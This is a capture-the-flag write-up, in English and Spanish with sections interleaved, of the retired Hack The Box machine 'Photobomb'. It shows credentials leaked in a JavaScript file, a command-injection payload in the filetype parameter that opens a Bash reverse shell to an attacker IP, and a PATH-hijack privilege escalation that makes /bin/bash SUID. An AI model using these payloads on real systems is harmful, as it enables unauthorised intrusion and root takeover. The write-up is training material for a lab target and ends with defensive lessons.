Photobomb
Executive summary — Photobomb is a very instructive Easy Linux box: an exposed JavaScript file (
photobomb.js) leaks the Basic Auth credentials (pH0t0:b0Mb!) that unlock the printing panel/printer. That panel builds a system command from thefiletypeparameter without sanitising it, allowing command injection and a shell aswizard. Escalation abuses sudo with SETENV over a cleanup script that callsfindwithout an absolute path: a textbook PATH hijack turns it into root. Path: creds in JS → command injection → PATH hijack → root.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.228.60 |
Attack map
[80] photobomb.htb (vhost) → photobomb.js leaks creds pH0t0:b0Mb!
│ Basic-Auth → /printer panel
▼
[RCE] command injection in the filetype parameter (POST /printer)
▼
[SHELL] wizard (user.txt)
│ sudo -l → (root) SETENV NOPASSWD /opt/cleanup.sh (calls find without an absolute path)
▼
[ROOT] PATH hijacking (SETENV) → fake find → chmod 4755 /bin/bash → bash -p
1. Initial reconnaissance
nmap -sC -sV -oN nmap/targeted 10.129.228.60
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http nginx 1.18.0 (Ubuntu)
Only two services exposed: SSH and HTTP. The web server responds pointing to a virtual host, photobomb.htb, that doesn't resolve yet in our /etc/hosts — the obvious entry point is port 80.
Resumen ejecutivo — Photobomb es un Linux Easy muy didactico: un archivo JavaScript expuesto (
photobomb.js) filtra las credenciales de Basic Auth (pH0t0:b0Mb!) que dan acceso al panel de impresion/printer. Ese panel construye una orden de sistema con el parametrofiletypesin sanear, lo que permite command injection y una shell comowizard. La escalada aprovecha sudo con SETENV sobre un script de limpieza que invocafindsin ruta absoluta: un PATH hijacking clasico lo convierte en root. Recorrido creds en JS → command injection → PATH hijack → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.228.60 |
Mapa del ataque
[80] photobomb.htb (vhost) → photobomb.js filtra creds pH0t0:b0Mb!
│ Basic-Auth → panel /printer
▼
[RCE] command injection en el parametro filetype (POST /printer)
▼
[SHELL] wizard (user.txt)
│ sudo -l → (root) SETENV NOPASSWD /opt/cleanup.sh (llama a find sin ruta absoluta)
▼
[ROOT] PATH hijacking (SETENV) → find falso → chmod 4755 /bin/bash → bash -p
1. Reconocimiento inicial
nmap -sC -sV -oN nmap/targeted 10.129.228.60
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http nginx 1.18.0 (Ubuntu)
Solo dos servicios expuestos: SSH y HTTP. El servidor web responde apuntando a un nombre de host virtual, photobomb.htb, que aun no resuelve en nuestro /etc/hosts — el punto de entrada evidente es el 80.
2. Setting up the virtual host
echo "10.129.228.60 photobomb.htb" | sudo tee -a /etc/hosts
curl -I http://photobomb.htb
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
With the vhost resolved we can browse the site the way the server expects.
3. Web enumeration and photobomb.js
http://photobomb.htb shows a photo gallery and a /printer section protected with HTTP Basic Auth. Inspecting the resources the page loads reveals a JavaScript file worth downloading:
curl http://photobomb.htb/photobomb.js
function init() {
// Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
document.getElementsByClassName('creds')[0].setAttribute('href',
'http://pH0t0:b0Mb!@photobomb.htb/printer');
}
}
window.onload = init;
Why it matters: the developer left a comment giving away the reason («tech support keeps forgetting the password») and, worse, plaintext hardcoded credentials. The
isPhotoBombTechSupportcookie check only decides whether the link auto-fills in an employee's browser; the source code is public either way, cookie or not, so the credentials are exposed to anyone who looks.
With pH0t0:b0Mb! we now have a username and password for the /printer panel.
4. Accessing /printer and its parameters
curl -u 'pH0t0:b0Mb!' http://photobomb.htb/printer
The panel lets us pick a photo, an output format (jpg/png) and some dimensions, then downloads a processed copy. The actual request the «download» button fires can be reproduced with curl:
curl -u 'pH0t0:b0Mb!' \
-X POST http://photobomb.htb/printer \
-d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg&dimensions=600x400'
Three parameters: photo, filetype and dimensions. If the server hands any of them to an image-conversion utility (ImageMagick and friends are common here) via a shell call, the prime suspect for injection is filetype: it's not a filename or a path, and its valid range is tiny — anything other than jpg/png is suspicious.
5. Confirming command injection
To confirm the injection without relying on visible output, we use a time-based test with sleep: if the parameter is concatenated into a shell command, chaining a sleep 5 with | should delay the response by exactly 5 seconds.
curl -u 'pH0t0:b0Mb!' \
-X POST http://photobomb.htb/printer \
-d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg|sleep+5&dimensions=600x400'
The response takes several extra seconds, confirming that filetype travels unsanitised into a system command and that the | character lets us chain arbitrary commands.
6. Reverse shell and stabilisation
With injection confirmed, we set up a listener and fire the real payload, swapping sleep for a Bash reverse shell pointed at our IP:
nc -lvnp 4444
curl -u 'pH0t0:b0Mb!' \
-X POST http://photobomb.htb/printer \
-d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg|bash+-c+"bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261"&dimensions=600x400'
The listener catches the connection: a shell as wizard. To work comfortably (arrows, tab-completion, Ctrl+C without killing the shell) we stabilise it with the classic script + stty trick:
# on the remote shell
script /dev/null -c bash
# Ctrl+Z to background it
# on Kali
stty raw -echo; fg
# back on the remote shell
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 50 columns 160
7. User flag
cd /home/wizard
ls -la
cat user.txt
8. Local enumeration — sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
Why it matters:
wizardcan run/opt/cleanup.shas root without a password, and with SETENV on top. That flag lets us propagate our own environment variables when invoking sudo — includingPATH— instead of sudo resetting them. That's exactly the variable we need to control for a PATH hijack.
9. Analysing /opt/cleanup.sh — PATH hijacking
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s 0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
Whoever wrote this script was careful with /bin/cat and /usr/bin/truncate —absolute paths— but slipped on the last line: find is invoked without an absolute path. Running via sudo, the shell resolves that binary by walking PATH in order. If we control PATH (thanks to SETENV) and drop an executable named find in a directory that comes before /usr/bin, root's script will run our binary instead of the real one.
10. Exploitation — fake find and root
cd /tmp
cat > find << 'EOF'
#!/bin/bash
chmod 4755 /bin/bash
EOF
chmod +x find
sudo PATH=/tmp:$PATH /opt/cleanup.sh
sudo launches cleanup.sh as root; the script calls find; since PATH starts with /tmp, the shell runs our /tmp/find instead of the real one, and that fake binary sets the SUID bit on /bin/bash:
ls -l /bin/bash
-rwsr-xr-x 1 root root ...
With bash SUID, root is one command away:
bash -p
whoami # root
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Info leak | photobomb.js | Basic Auth credentials hardcoded in the frontend | Access to /printer |
| RCE | /printer panel | Command injection in the filetype parameter | Shell as wizard |
| PrivEsc | sudo /opt/cleanup.sh | SETENV + find without absolute path (PATH hijacking) | Root |
Lessons learned
- No static resource is private: any JavaScript, CSS, or comment you serve to the browser is public and will get inspected sooner or later.
- Never put secrets in the frontend: no credentials, no tokens, no internal paths.
- Sanitise or die: any parameter that ends up in a shell command must be validated strictly (better yet, avoid invoking the shell at all).
- sudo with SETENV is dangerous: it lets an attacker manipulate
PATHand other environment variables even withsecure_pathconfigured. - Absolute paths in privileged scripts, always:
/usr/bin/find, never barefind— the script already gotcatandtruncateright, and one slip was all it took.
2. Configuracion del dominio virtual
echo "10.129.228.60 photobomb.htb" | sudo tee -a /etc/hosts
curl -I http://photobomb.htb
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Con el vhost resuelto ya podemos navegar la web tal y como espera el servidor.
3. Enumeracion web y photobomb.js
http://photobomb.htb muestra una galeria de fotos y un apartado /printer protegido con HTTP Basic Auth. Revisando los recursos que carga la pagina aparece un JavaScript que merece la pena descargar:
curl http://photobomb.htb/photobomb.js
function init() {
// Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
document.getElementsByClassName('creds')[0].setAttribute('href',
'http://pH0t0:b0Mb!@photobomb.htb/printer');
}
}
window.onload = init;
Por que importa: el desarrollador dejo un comentario que delata el motivo («el soporte tecnico siempre olvida la contraseña») y, peor aun, credenciales incrustadas en texto plano. La comprobacion de la cookie
isPhotoBombTechSupportsolo decide si el enlace se rellena automaticamente en el navegador de un empleado; el codigo fuente es publico igualmente, cookie o no, así que las credenciales quedan expuestas a cualquiera que mire.
Con pH0t0:b0Mb! ya tenemos usuario y contraseña para el panel /printer.
4. Acceso al panel /printer y sus parametros
curl -u 'pH0t0:b0Mb!' http://photobomb.htb/printer
El panel permite elegir una foto, un formato de salida (jpg/png) y unas dimensiones, y descarga una copia procesada. La peticion real que dispara el boton «descargar» se reproduce con curl:
curl -u 'pH0t0:b0Mb!' \
-X POST http://photobomb.htb/printer \
-d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg&dimensions=600x400'
Tres parametros: photo, filetype y dimensions. Si el servidor pasa alguno de ellos a una utilidad de conversion de imagenes (ImageMagick y similares son habituales aqui) mediante una llamada de shell, el candidato mas sospechoso para inyeccion es filetype: no es un nombre de fichero ni una ruta, y su rango de valores validos es pequeño — cualquier cosa distinta de jpg/png es sospechosa.
5. Confirmacion de command injection
Para confirmar la inyeccion sin depender de ver salida en pantalla, usamos una prueba basada en tiempo con sleep: si el parametro se concatena en una orden de shell, encadenar un sleep 5 con | deberia retrasar la respuesta 5 segundos exactos.
curl -u 'pH0t0:b0Mb!' \
-X POST http://photobomb.htb/printer \
-d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg|sleep+5&dimensions=600x400'
La respuesta tarda varios segundos de mas, confirmando que filetype viaja sin sanear hasta una orden del sistema y que el caracter | permite encadenar comandos arbitrarios.
6. Reverse shell y estabilizacion
Con la inyeccion confirmada, levantamos un listener y lanzamos el payload real, sustituyendo el sleep por una reverse shell de Bash apuntando a nuestra IP:
nc -lvnp 4444
curl -u 'pH0t0:b0Mb!' \
-X POST http://photobomb.htb/printer \
-d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg|bash+-c+"bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261"&dimensions=600x400'
El listener recibe la conexion: shell como wizard. Para trabajar comodo (flechas, autocompletado, Ctrl+C sin cargarnos la shell) la estabilizamos con el truco clasico de script + stty:
# en la shell remota
script /dev/null -c bash
# Ctrl+Z para suspenderla
# en Kali
stty raw -echo; fg
# de vuelta en la shell remota
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 50 columns 160
7. User flag
cd /home/wizard
ls -la
cat user.txt
8. Enumeracion local — sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
Por que importa:
wizardpuede ejecutar/opt/cleanup.shcomo root sin contraseña, y ademas con SETENV. Ese flag deja que, al invocar sudo, propaguemos variables de entorno propias — incluidaPATH— en vez de que sudo las resetee. Es precisamente la variable que necesitamos manipular para un PATH hijacking.
9. Analisis de /opt/cleanup.sh — PATH hijacking
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s 0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
El autor del script fue cuidadoso con /bin/cat y /usr/bin/truncate —rutas absolutas—, pero se le escapo la ultima linea: find se invoca sin ruta absoluta. Al ejecutarse via sudo, el shell resuelve ese binario recorriendo PATH en orden. Si controlamos PATH (gracias a SETENV) y colocamos un ejecutable llamado find en un directorio que quede antes que /usr/bin, el script de root ejecutara nuestro binario en vez del real.
10. Explotacion — find falso y root
cd /tmp
cat > find << 'EOF'
#!/bin/bash
chmod 4755 /bin/bash
EOF
chmod +x find
sudo PATH=/tmp:$PATH /opt/cleanup.sh
sudo lanza cleanup.sh como root; el script llama a find; como PATH empieza por /tmp, el shell ejecuta nuestro /tmp/find en vez del real, y ese binario falso pone el bit SUID a /bin/bash:
ls -l /bin/bash
-rwsr-xr-x 1 root root ...
Con bash marcado SUID, root es un comando:
bash -p
whoami # root
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Info leak | photobomb.js | Credenciales de Basic Auth incrustadas en el frontend | Acceso a /printer |
| RCE | Panel /printer | Command injection en el parametro filetype | Shell como wizard |
| PrivEsc | sudo /opt/cleanup.sh | SETENV + find sin ruta absoluta (PATH hijacking) | Root |
Lecciones aprendidas
- Ningun recurso estatico es privado: cualquier JavaScript, CSS o comentario que sirvas al navegador es publico y sera inspeccionado tarde o temprano.
- Nunca pongas secretos en el frontend: ni credenciales, ni tokens, ni rutas internas.
- Saneas o mueres: cualquier parametro que acabe en una orden de shell debe validarse estrictamente (mejor aun, evita invocar al shell).
- sudo con SETENV es peligroso: permite manipular
PATHy otras variables de entorno aunque hayasecure_pathconfigurado. - Rutas absolutas en scripts privilegiados, siempre:
/usr/bin/find, nuncafinda secas — el propio script ya lo hacia bien concatytruncate, y aun asi bastó un descuido.